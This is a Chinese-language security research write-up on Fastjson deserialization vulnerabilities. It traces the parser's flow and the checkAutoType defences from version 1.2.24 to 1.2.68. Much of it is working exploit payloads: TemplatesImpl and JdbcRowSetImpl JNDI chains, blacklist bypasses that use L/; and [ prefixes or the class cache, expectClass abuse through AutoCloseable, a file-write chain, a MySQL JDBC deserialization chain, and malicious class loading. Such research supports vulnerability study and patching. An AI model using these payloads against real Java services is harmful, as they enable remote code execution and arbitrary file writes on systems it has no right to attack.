Fastjson is a Java library that can be used to convert Java Objects into their JSON representation. It can also be used to convert a JSON string to an equivalent Java object. Fastjson can work with arbitrary Java objects including pre-existing objects that you do not have source-code of.

可以由JSON.toJSONString(object)将对象序列化为json字符串,由JSON.parseObject/parseArrayJSON.parse从json字符串中反序列化还原为对象。在序列化时指定开启SerializerFeature.WriteClassName功能,会在生成的json字段中加入@type用于指定具体类名,这样可以避免继承类被误反序列化为父类,从而丢失子类特有属性。

1.2.24一般流程简述

根据方法与传参的不同,入口可能对应多个重载方法,但总体上与漏洞相关的逻辑大同小异:

  1. 解析器初始化,调用解析方法

  2. 加载@type指定的类对象和与之对应的Deserializer

  3. 如果类名在denyList中就抛出异常(黑名单)

  4. 如果是JavaBeanDeserializer,会通过内省获取方法和属性

  5. 获取到defaultConstructor则会进入第六步

  6. 将满足条件的setter与getter及相关属性,封装为FieldInfo类并加入fieldList

  1. Deserializer缓存进IdentityHashMap

  2. 获取各个属性对应的FieldValueDeserilizer,反序列化属性对象

  3. setValue根据属性类型,按照不同方式还原类对象属性

调用getter

第六步getter对于返回值类型要求比较严格,可以利用Fastjson一些特性扩大范围。

对于JSON.parseObject(String text)会先调用parse解析,如果返回类型不是JSONObject就通过toJSON转换:

满足判断时可由JSONSerializer.getObjectWriter->TypeUtils.buildBeanInfo->computeGetters获取getter且无返回值类型限制。因为JSONObject.toString被重写成了toJSONString,只需构造形如{{Gadgets}:"str"}的结构即可触发。

此外对于JSON中$ref的值,会在parse完成后作为JSONPath解析,传入$.valuea.valueb可以链式触发getValueagetValueb,这样就能调用到指定getter。

指定还原类

parseObject方法指定的还原类与JSON中@type指定的还原类不一致时,根据@香依香偎师傅的实验结果来看,如果两个类存在继承关系或是能由toString等方法转换,则通常可以正常反序列化并触发Payload;否则要具体情况具体分析。

TemplatesImpl利用链

1
2
3
4
5
6
7
{
"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes":["BASE64"],
"_name":"any",
"_tfactory":{},
"_outputProperties":{}
}

outputProperties属性在setValue时,会调用TemplatesImpl#getOutputProperties,进而调用到TransletClassLoader#defineClass触发类加载。

Payload几个关键属性都是private且无相应setter/getter,因此反序列化时需要指定1.2.22版本引入的Feature.SupportNonPublicField

JdbcRowSetImpl利用链

1
2
3
4
5
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"RogueJNDI",
"autoCommit":true
}

autoCommit属性在setValue时,会调用JdbcRowSetImpl#setAutoCommit,进而调用到InitialContext#lookup触发JNDI注入。

checkAutoType绕过

从1.2.25开始先进入checkAutoType检查,再调用TypeUtils.loadClass加载类。

绕过黑名单

在手动开启autoTypeSupport时,会将类名与内置黑名单进行前缀匹配。利用TypeUtils.loadClass剔除L前缀和;后缀的特点,在原类名前后添加字符即可绕过内置黑名单的判断。

  • L ClassName ;[分别是JVM的类、数组表示符

1.2.42先剔除一次类名前后的L;再进行黑名单判断,同时将黑名单从明文改为哈希形式,可以双写字符绕过。

1.2.43检查两次前缀,拦截LL开头的情况,可以构造[ClassName[{...的数组形式,利用内部逻辑调用到parseArray实现绕过。

1.2.44增加了对[开头的检查,终结了已有黑名单绕过。如果存在某些依赖可以利用新链突破,后续更新也在继续完善黑名单。

利用缓存机制

1
2
3
{
{"@type":"java.lang.Class","val":"GadgetsClassname"}:Gadgets
}

以1.2.47为例,java.lang.Class对应的deserializer是MiscCodec,反序列化会解析JSON中val对应的值并生成对象,之后通过TypeUtils.loadClass加载java.lang.Class。loadClass方法的cache参数的缺省值为true,会将val值生成的对象存入mappings中。

下一轮checkAutoType时如果手动开启了autoTypeSupport,恶意类先黑名单匹配还是会被检测到,但只要在mappings缓存中匹配到了就不会抛出异常。之后无论checkAutoType是否开启,都能拿到缓存中的恶意类。

要注意的是虽然1.2.25就加入了缓存机制,但1.2.33之前匹配黑名单就会抛出异常。1.2.48将cache缺省值改为false,新增了Class.forName前的判断,同时追加了黑名单以及对expectClass的检测。

利用期望类

期望类可以由类间关系隐式确定,也可以由两个@type显式指定。一个期望类为Foo的例子:

1
2
3
4
5
6
7
class User {
Foo id;
}

class FooImpl implements Foo {
String fooId;
}
  • 由类间关系确定
1
2
3
4
5
6
7
{
"@type":"User",
"id":{
"@type":"FooImpl",
"fooId":"abc"
},
}
  • 由JSON显式指定
1
{"@type":"Foo","@type":"FooImpl","fooId":"abc"}

从玄武实验室梳理的checkAutoType的流程可以看出,期望类及其派生的子类不在黑名单中就能通过检查:

expectClasscheckAutoType的二参传入,多数情况下是null,先要找出存在有效参数的调用,一个是ThrowableDeserializer、一个是JavaBeanDeserializer

ParserConfig#getDeserializer可以看到Throwable.class的派生类由ThrowableDeserializer处理、没有专属Deserializer的类由JavaBeanDeserializer处理

哪些类会由JavaBeanDeserializer处理呢?以TypeUtils#addBaseClassMappingsclasses作为样本,提取getDeserializer方法稍作改动并筛除expectClassFlag为false的类后得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
java.lang.AutoCloseable
java.lang.StackTraceElement
java.util.concurrent.atomic.AtomicInteger
java.util.concurrent.atomic.AtomicLong
java.lang.Boolean
java.lang.Character
java.lang.Byte
java.lang.Short
java.lang.Integer
java.lang.Long
java.lang.Float
java.lang.Double
java.lang.Number
java.lang.String
java.math.BigDecimal
java.math.BigInteger
java.util.BitSet
java.util.Calendar
java.util.Date
java.util.Locale
java.util.UUID
java.sql.Time
java.sql.Date
java.sql.Timestamp
java.text.SimpleDateFormat
com.alibaba.fastjson.JSONPObject
  • 1.2.68更新的safeMode机制用于完全禁用autoType,手动开启后遇到@type直接抛异常

寻找Gadgets

派生类中有可被自动调用的敏感方法,就是一个可选的潜在期望类,最好是一个被广泛使用的接口(AutoCloseable表示你直接报我哈希得了(✪ω✪))。而魔术方法除了setter、getter、无参构造函数外,还可以调用 能通过ASMUtils.lookupParameterNames获取到参数名 且重载参数最多的构造函数:

  • 参数名存放于LocalVariableTable,只在编译时带调试信息才会有

OutputStream利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
"@type":"java.lang.AutoCloseable",
"@type":"sun.rmi.server.MarshalOutputStream",
"out":{
"@type":"java.util.zip.InflaterOutputStream",
"out":{
"@type":"java.io.FileOutputStream",
"file":"/tmp/test",
"append":true
},
"infl":{
"input":{
"array":"eNorSS0uMTQyBgAKygJX",
"limit":15
}
},
"bufLen":"100"
},
"protocolVersion":1
}
  1. 通过FileOutputStream(File file, boolean append)创建文件并作为InflaterOutputStream(OutputStream out, Inflater infl, int bufLen)的一参

  2. 二参Inflater类中存在ByteBuffer input属性,经过JSONScanner#bytesValueBase64解码得到byte后,会在ByteBufferCodec$ByteBufferBean#byteBuffer完成组装(其中array是zip压缩后byte的Base64编码,limit是字节长度)

  3. 最终由MarshalOutputStream的父类构造函数ObjectOutputStream->this.bout.setBlockDataMode->this.drain->this.out.write触发写入

要注意的是1.2.57才开始支持ByteBuffer反序列化,有调试信息的部分JDK8版本与这个OpenJDK11input属性有不同。

MysqlJDBC利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "127.0.0.1",
"portToConnectTo": 3306,
"info": {
"user": "root",
"password": "pass",
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"NUM_HOSTS": "1"
},
"databaseToConnectTo": "dbname",
"url": ""
}

JDBC4Connection类构造函数初始化时会使用父类ConnectionImpl的构造函数,进一步通过ServerStatusDiffInterceptor#populateMapWithSessionStatusValues->Util.resultSetToMap->rs.getObject触发MysqlJDBC反序列化。

双亲委派类加载

通过System.getProperty可以获取sun.boot.class.pathjava.ext.dirs的值,根据双亲委派的特点如果能将恶意类上传/写入jre/classes(这个目录似乎默认不存在,需要新建),或者覆盖已有的jar包(比如charsets.jar),就可以由Fastjson触发恶意类加载。

1
2
3
4
5
6
7
8
9
10
11
// 实现AutoCloseable
{
"@type":"java.lang.AutoCloseable",
"@type":"Run"
}

// 继承Exception
{
"@type":"java.lang.Exception",
"@type":"Run"
}

参考链接

enable_autotype

JSONPath

fastjson_safemode

fastjson 反序列化漏洞 POC 分析

浅谈Fastjson RCE漏洞的绕过史

fastjson一种利用$ref几乎任意getter触发的方法

fastjson blacklist

fastjson 1.2.68 反序列化漏洞 gadgets 挖掘笔记

fastjson序列化ByteBuffer的问题

Fastjson 1.2.68 反序列化漏洞 Commons IO 2.x 写文件利用链挖掘分析

US-21-Xing-How-I-Used-a-JSON

eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack

Spring Boot Fat Jar 写文件漏洞到稳定 RCE 的探索

JDK8任意文件写场景下的Fastjson RCE